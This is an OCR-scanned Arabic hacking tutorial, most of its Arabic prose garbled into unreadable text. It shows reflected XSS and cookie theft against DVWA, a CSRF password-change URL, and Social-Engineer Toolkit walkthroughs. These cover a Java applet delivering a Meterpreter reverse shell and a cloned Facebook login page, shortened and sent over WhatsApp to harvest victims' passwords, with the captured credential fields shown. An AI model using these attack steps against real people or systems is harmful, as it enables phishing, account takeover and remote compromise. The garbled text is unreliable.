“3E% " joyl pladily lajio)i aiy
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URL (uglic od doriiwall jyoyill dyidly dayeo olc g4i pl 1]

Burp Suite o4 63gagall Decoder &1al plariwl clida)

aguw ( forward glc honll ) dilhl Aa daiagis plowll plidgll Aic
lo4 HTML 1g4 yana elifaig paniall (o] dilaVl oda diagi aly
s L Jacull od

| Target T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Ext

_[ T HTTP history TWebSockets history T Options |

Response from http:/f127.0.0.1:80/dvwafvulnerabilities/xss_r/fname=%3Cscript%3Ealert3:28%22)ameel

[ Forward J | Drop J ' Intercept is on | [ Action J

_[ Raw T Headers T Hex T HTML T Render |

<div elass="body padded"=
<hl=Vulnerability: BReflected Cross 5ite Scripting (X55)</hl=

<div class="vulnerable code_ area's=
“<form name="X¥55" action="#" method="GET"=>

<p
What 's your name?
“<input type="text" name="names":>
“<input type="submit" walue="Submnit">
{_,-"1:.}
2fform=

<pre>*Hello <scriptralert("Jameel was here!")</ script></pre>
< diwe

oJ Al HTML g4 JV XSS pgaa alai glc danlg 8jLi] odag

JUgiwyl 3¢5 sle gy adniall ol gl Guhi Jid go alluy]
dolaiiwl liog Al
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:XSS Payloads jio}i
9 lo walinisl Jal go dygd ddiyh ga djojall pudll go Josll
gl Guhi sa a1 agowoll

Jal go Burp Suite (o4 63gagall Decoder 81l pladiwl Liiday

XSS pgad od padiwall Jall jroji

Burp Suite Free Edition v1.6.31 @ ® O

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts |

| ® Text () Hex |_1J
| Decode as ... v
(Ercodnos - |2

Plain
URL

-

Ee3n3C 6 HNT 3, BeFnB3, Be T 2, BB B #xT 0 BT e 30 BeFEnB L BeHnBC, Ee 65, BT 2, Bt T B #u 2B, B 22 EeFned ) EeFnB L G606 #2656 | psc|) hex

ctal

1& J T | Smart decode

294l Autiy pgdi pf jog LAy wép il jroyill dyidi jLisl Liifoy
Sl J44dll od Lad NAME jiolpll o ddnlg jojall
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Target T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Qptions TAIer‘ts |

_[ T HTTP histary TWebSockets histary I Options |

|_/J Request to http:/f127.0.0.1:80

| Forward | Drop | | Intercept is on | | Action |

Raw | Params T Headers THex |

GET request to fdvwa/vulnerabilities/xss_rf

Type | Narne

| Walue
URL name [B%65%72%65%21%22%29% 3c% 2/ % 7
Cookie security low
Cookie _js_datr pGSbYoxcbPbs0bQcLSpLEURh
Cookie PHPSESSID

bZbg20we8i3knadh7bwnnkgvad

gl Guhi ol wlhll wagi af gog
('J_D d .u LJA-A .-- . --...'... 63_6“ Jl_a_b‘lzJ. Pgﬁ_‘l‘ Ldg_l_u (“9-']' a_!bjnjlg

:XSS in URL Address

XSS pgaay plidll Jal Jo URL glgic plaaiwl Lii4oy

Jlgic ggay waguw Jars Jameel Jio sale pwl plaATwl oiy loaic

. ollill ga URL

127.0.0.1

pulio Jauu XSS pgaay olidll URL-encoded oladiwl Liidoy

- SJLill URL glgic @li4 @lis Jua go
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http://127.0.0.1/dvwalvulnerabilities/xss r/?name=%3c%73%63%72%69%70%74%3e%61%6c%65%7
2%74%28%22%42%61%6d%65%65%6¢c%20%77%61%73%20%68%65%72%65%21%22%29%3c%2f%
73%63%72%69%70%74%3e#

guai jJlahl ap cagud alhll da wagll (Guhi odliy loaicg

2anio o8 cypdull Aaii i dil gde) 1Aag dédbiiall 834lill
pAATall

Jameel was here!

:XSS pgad pladiwbh dulall wdpeo ddju
Jal go XSS pgaa o4 document.cookie ddyjhll pladiwl Liiday
Anlill ole wnall dnlall dlulall b gaye

:dulill downll plaaily ellig

<script>alert(document.cookie)</script>

sl iy s 3 )i


http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%4a%61%6d%65%65%6c%20%77%61%73%20%68%65%72%65%21%22%29%3c%2f%73%63%72%69%70%74%3e
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%4a%61%6d%65%65%6c%20%77%61%73%20%68%65%72%65%21%22%29%3c%2f%73%63%72%69%70%74%3e
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%4a%61%6d%65%65%6c%20%77%61%73%20%68%65%72%65%21%22%29%3c%2f%73%63%72%69%70%74%3e

security=low; js datr=pGSbVoxcbPbsObQclSpLKUnh; PHPSESSID=b2bq20vE8i3knaSh7bvnnkavad

aaniall g4 (cookie) duwlall wajed jd dlgauug Liihey U
dnlall pull dolb dayeo Jgn warall alwa @l Jgaallg iy golall

A

:Cross-Site Request Forger (CSRF)

83gagall aljiolpll JS cayel gl way allhll ygii pgaa alai Jal go
wlhll gd

g7 DVWA carall qygll (Guhi g 6)9ill oday dnlAll dranll
o Twolly dnlall pull dolb poil dul glc

dalall Lioaatwlg admin u dnlall puwll dold oty Lied 13|

caguw Mg cugll Guhi oJl alhll Jluy| iy caguua pass1234

Judll dold pots ap

http://127.0.0.1/dvwalvulnerabilities/csrf/?password new=pass1234&password conf=pass
1234&Change=Change#
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http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=pass1234&password_conf=pass1234&Change=Change
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=pass1234&password_conf=pass1234&Change=Change

Guhill ol pudll pyoi Jal go URL alyioly paaiuy cugll @Guhi
Laiilleo) pgdyl
ol

password_new

password_conf

pgrall i@ a4 lioloial j9)0 loa

Jond 8ale] oi Jog URL lgic (od pidll 0@ poi dlgaung Liifoy
Juddl dold poi aiy cagug daanll

poldg gqill 1@ o hily alacly lind gl &nay caguw Al Lo JUAT
Judl dalb poi afy cagu Jaulfdl 13a glc honll cazall gaavull
.aiajeo gy g ai dnlall

Jtaud dylooy plé 2d w@rall ggay of v pgaall 13a alail leyh
call bl @le henll pgdy gl é qugll Guhi @l Jgaall
prdiT géilgall o Apell) jnito byl Il byl 138 Jgai gf ghoy
dllw) o paiiall hilll gag ai jog (G Jgl JAsu dorill oda

diteo dl4sio Ja gégall pao go wlhllg gieo saiio gi gdgo Jals
lll 138 ole heally gagall pao pgds loricg hull 13ay ddlod

a1 dolAll pull dold pof aly caguia

RS PRI



:Social engineering dicloiaVl dwaialll

Jloch plidlly paclidlg paclaa Jal go pill o wcllill 44 o
Aypull pailogloo cailiil ¢agi

glad le aloiclly pii paiiwall wph gé aloaall go el
.aolhiy dnlAll dwlwall alogleall wadid Jal o padiwall

draila dollao clpal Guph e pii gl JAoy dicloiall duwniall

dl apno caligo dil gle jalhaty Gliall pito pgdy i gl dealio
plhaill Jgngll,

M adg cliol ga qali dicloial dwaia pgaay plidll daph Jaal
pxAiwoll L&y Jniy il ddyphll dajeog carall plhill padl
azall gdgoll gl dawddl

drclaiaVl dwaiall aloaal deisall aliidillg Gpall go aaell aagy

layle wpeill lidg gwad gi way odllg
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:Social Engineering Toolkit (SET)
8Ial oag TrustedSec (uwdo Jud go lailis ai 812Ul oda
juial alldogy plidll 8aeog (ggisl dely digifo janall dagido

ducloiayl dwniall Guph ge Gyl

dal go diloall guito Jid o )4y paiiwi oill 13Vl o SET
aazall alapill gl alohiall dyloall dlla (naa diloes plidll

Jaoug puaiy oJ18 plhi ed (oldli J4ddy 63gago 81311 ord
doyleill plaaiwl Ayl Jgngll

=~# setoolkit

:pgadlll (oa SET plaiiwl

A& ara @iy gdgo Guh gc wrall padiall oll Jgngll ghoy
hyuy gégo plaiiwl Jady gilg gdgo sl plaiiwl Jhoyg priiwall
&l ggas gl g4oy) SharePoint gégal juwi dilac ga oJLill JLiall
dluly aia JUa go dinall Juoiwl ga elld go warallg (1Al gdgo
carall jlaar p4aillg Jlnidlg meterpreter
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— LOG IN -

Login Register Forgot your password?

Social-Engineer Toolkit (1 jLAll jial

Select from the menu:

Social -Engineering Attacks
Fast-Track Penetration Testing
Third Party Modules

Update the Social -Engineer Toolkit

Update SET configuration
Help, Credits, and About

Exit the Social -Engineer Toolkit

Gl ldai g <l o 350 L)




A8 Jon 63gagall dalitall ailoaall ¢lgil jani dylill dsldl

Juall

Select from the menu:

OQOO~NOOULE WN -

O~ WN -

w
o

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

Third Party Modules

Return back to the main menu.

Website Attack Vectors jliai caqu JLioll 1A LS\G

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

Return to Main Menu

Java Applet Attack jlidi cagu

Web Templates
Site Cloner
Custom Import

Return to Webattack Menu
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o 83gagall wullgdll Al plaATwl AT b 13] elllguw piy caguw
2dgo Awui Ay)i b 13] gl SET

MMl gdgoll dudy danilg 6an auyl dualjiall llgdll
(SharePoint Jlioll 1@ od) pgaall diloc d dolyiiuwl

Jid o gdgall uwi drad ge aljlia 8ac j@lai dylill dlsl
site-cloner option paATi cagu Jloll A& (o4 <prATwoll

(o@g dliwll go dlulw Jlwi cagu SET gla jLAll 1aa yaai Ao

:NAT/Port forwarding =

: >2
[-1 NAT/Port Forwarding can be used in the cases where your SET machine is

[-]1 not externally exposed and may be a different IP address than your reverse 1

istener.
> Are you using NAT/Port Forwarding [yes|no]:

ge djlan go Jniy wagw carall gla 13] lewa Jlgw ga jLAll Aa
Gupb Je Jniy cagu dil ge gl Q1A plhis galall IP glgic (@Giph
(NAT address (Jio) waliio IP jlgic
Jial gl dgayla @4 goi goladil doalao )i i 13] yes Jial
el dnlall dauill guai gon (aladdl doalao gy ¢iib 13l no
(dulaly dau)
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:IP address/hostname for reserve connection =

= IP address or hostname for the e cmﬂﬂectimﬂ:l

B gV daly gaa waall gl payload pilwiy SET pgdi Loaic
15 go subell Jlaidly pgdpw s darall

Al plhiy galAll IP glgic gg clifoy

:URL you want to clone -

[-]1 Example: http://www.thisisafakesite.com

> Enter the url to clone:|

pgaall od dolxiiwl Jal go diwi vy Al gdgall (jlgic
otli Jal go Metasploit paaiuy cagw :Exploit to deliver =
JAoiwl
Metrpreter Memory Injection jlidi caguw

What payload do you want to generate:
Name : Description:

1) Meterpreter Memory Injection (DEFAULT) This will drop a meterpreter
ad through PyInjector
2) Meterpreter Multi-Memory Injection This will drop multiple Metas
payloads via memory
3) SE Toolkit Interactive Shell Custom interactive reverse to
designed for SET
4) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with
encryption support
5) RATTE HTTP Tunneling Payload Security bypass payload that
tunnel all comms over HTTP
6) ShellCodeExec Alphanum Shellcode This will drop a meterpreter
ad through shellcodeexec
7) Import your own executable Specify a path for your own e
able
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aolaiiwl atle qay M1 aygull pdy e Jluy cagu

= PORT of the listener [443]:

Windows Meterpreter Reverce TCP jliriw o

Select the payload you want to deliver via shellcode injection

1) Windows Meterpreter Reverse TCP

2) Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager
3) Windows Meterpreter (Reflective Injection) Reverse HTTP Stager
4) Windows Meterpreter (ALL PORTS) Reverse TCP

daan gap pgdy waguw SET la dliwll oda glc dilayl aeig
iVl Japw oJ] @Ay liad (o1l 8)gjoll gdgall

Jlaivl Judiwl Jaf go handler slaclg cugliwlitall Jigiiig
g;ulﬁjﬂl

gdgall 3@ o] Jgarll pgés gl Jal go priiwall glad elle qay

0rali al JAKT cagu giigall 138 ol] Jgaslly pgdy losicg jgjall

Jlnil dwla (0§i caguua ailac 13] «illg Java pop-up ddilio
Al plA§ go (gunic

Reservr_TCP Meterpreter
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dlola aliaMn elliog meterpreter dula JAA (Jog §liaVl pido
aanall jlan olc

6ptio jié (g@g drewh gai warall jJ@hi waguw ol diyiell 8ialill
‘:I -'oII

LOG IN

Warning - Security x|

The application’s digital signature cannot be verified. 4
Do you want to run the application?

Login Name: Trusted Java Applet (VERIFIED SAFE)
Publisher: UNKNOWN
From: http://10.255.27.200

[~ Always trust content from this publisher .

' your personal information at risk, Run this application only # you More Information..,
trust the publisher,

cagw ojlan gla run le honlly diall ay pgdy Al adgll o4
:dlled meterpreter duly olc Jnaiwg L..S\Jlﬁ_ll 20 JNni)
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:phishing A1nill

lolai dliloo Jgay Jiawi daan @la JiA go pis pgaall 1@
8)gjall dranll ga galg gurall gdgoy dnlall Jgaall Jrawi daanl
dnlall Jgarl Jrauwd alily Jlwyl pdad aljiolpdl yaer jpei oy
daan ol wrall aiagi dale] pi gog GHiaMl pito o] carally
AlnYl guall

Janoll 3gall duwd JUA o g9y Jauy duloell oday pldll J4oy
lale Juaeill pi gog elgy gurally dnlall Jganll Jrawi daanl
arall @l daanll oda hily Jlw)lg dalni] gdgo ol laed)g
8Ial plariwly oAuilogil J4uiy dilaell oday plidll J4ay gl
Social-Engineer Toolkit (SET)

:JgV1 LAl paaTi cagu

Social-Engineering Attacks

Select from the menu:

Social -Engineering Attacks
Fast-Track Penetration Testing
Third Party Modules

Update the Social -Engineer Toolkit

Update SET configuration
Help, Credits, and About

Exit the Social -Engineer Toolkit
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L juAll o

Website Attack Vectors

Select from the menu:

1) Spear-Phishing Attack Vectors
Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

Third Party Modules

~— -

3
4
5
6
7
8
9
0]

et S S S St St St

Return back to the main menu.

UL LAl of

Credential Harvester Attack Method

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

Return to Main Menu

A
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il LAl o

Site Cloner

1) Web Templates
Site Cloner
Custom Import

Return to Webattack Menu

4]

= IP address for the POST back in Harvester/Tabnabbing I_

pgaall dloc qa paiiwall IP glgic JLas] ulhy cagu

2091 pgdiiu (dylaall @il ayla) cipiil pe pgaall 1aay plyll
duloey plidllg yighl alslac] ] Jgaall pi gog e2ylall IP glgic
port forwarding or virtual server

what (jc google jic &l JAA (o @;Jb.” IP lgic dajeo liiqoy
ismy IP

pgaall 3@ (ad dolriiw] piyl glgiell 1@ Jlasl pgdiu

pludillg ighll dnlall alslacyl dan o] Jgaslly pgdi gf way gUl
80 Adiall e galall IP glgic oJ] doaldll allhll J4 aagi dlao;
SLalAll P glgic o]
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dyllill dogloill JUA go lalall IP glgic dayeal

:~# ifconfig
Link encap:Ethernet HWaddr 88:ae:1d:b0:18:b5

inet addr:|yPRSRPRLCCl Bcast:172.16.2.255 Mask:255.255.255.0

alalacyl 0@ ) aagill dyloey pgdiw jigldl aslacl dan go

port (qa 63gago Jgai Il Aoy yigll dicgi cruny caliij
(forwarding or virtual server

Virtual Server

Single IPs Account/ PVCO
'1 72162100

alulb T wagiy pgéidl Jighl lack ling dulosll 03a Jula o
sLalAll IP:172.16.2.100 lgic oJ] 80 Adiall pc galall IP (jlgis!

diloc (a dolriiwl Aljoll gdgall glgic JlAa] Liio wlhy cagu
pgaall

> Enter the url to clone:facebook.com

[*] Cloning the website: https://login.facebook.com/login.php

[*] This could take a little bit...
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6Jgj_QJI T ” (.j_(.]I o o ILJ;i O_D P & "I_!AJIJ_dJ_l_Lu l". S . II | PJ.'.

will be found under apache_dir/harvester dat

ww/html directory
[*] A1l files have been copied to /var/www/html
Press return to continue} |

var/www/html/ ollill jluall gé ciaunl 8jgjoll dranll

index.html ol oag

i Y 8D il oIl @l 1P glgic Jagais pgdi gl wag gU
http://tinyurl.com :gJLill gdgall JUA o (@rall el

dllwj jic gl whatsapp jic carall gl glgiell 3@ Jlwyl Lidoy gyl
hyldl A& aidy pgdyl caaall jo alhllg dealdo Juoyl

dulill daanll j@hT cagw hylyll 13@ aidy daall pgéy loaicg
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http://tinyurl.com/

iladigie dua g | Usdge ) JEE cllga o ae Juabl Aypam asall Ay

o gaad N Jsdall Jaaws

FEvE= (Fye
sl

ol mds

ol o 2 clall [

N ...

8 pull il s da

Jj wle henllg Jgaall Jiawi alogleo dlid) waaall pgdy Loicg
aill dlall gl alogleall o Jluyl piy agu Jgaall Jeawi
Ll jluall aé 3gagall

var/www/html/havester.txt/

dnil pwall dran Jl danll aagi éaleg

G sl ket y il e @1 ) L)




Vay

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

1sd] == AVrywtNJ

display] ==

enable profile selector] ==
isprivate] ==

legacy return] == 1

profile selector ids] ==
skip api login] ==

signed next] ==

trynum] == 1

timezone] ==

Tgndim] == eyl31jo3MjAsImgi0jEyODAsSImF3Ijo3MjAsImFoljoxMigwlCIjIjc
lgnrnd] == 015340 QsbP
lgnjs] == n

email]

pass] == aaa

default persistent] == 0
login] == Jezall Juizmws

Jo dila Jroriiwall doalaoy plidll SET Jio 6lal pladiwl aic
crall alapni paal lidg oy gf Gyl pital ggpall

jlaa Gaph e gdgall @] Jgngll b l@orATuy (ol ddyphnllg
8)gjoll daanll daalg daoy piy Jabgall jlaa @Giph e gl culall
arall jlan go Guliio Jauy
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